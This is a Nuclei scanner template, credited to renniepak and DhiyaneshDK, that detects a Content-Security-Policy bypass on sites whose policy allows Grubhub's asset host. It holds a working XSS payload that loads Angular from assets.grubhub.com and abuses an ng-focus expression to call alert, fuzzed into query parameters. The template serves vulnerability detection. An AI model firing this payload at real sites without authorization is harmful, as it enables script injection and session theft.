id: grubhub-assets-csp-bypass

info:
  name: Content-Security-Policy Bypass - Grubhub Assets
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,grubhub-assets

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "grubhub.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: grubhub_assets_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - <body ng-app ng-csp><script src="https://assets.grubhub.com/libs/js/angular/1.8.3/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "grubhub_assets_csp_xss == true"
# digest: 4a0a004730450220394db27a09ce5a3ce72734836a0255ecd808e0e5a180d0e04fde36bc4f703776022100a71a3c4041c60ad0fc1abb890377f0e92afa9c0aab5af585dd828ef1a6c50f77:922c64590222798bb761d5b6d8e72950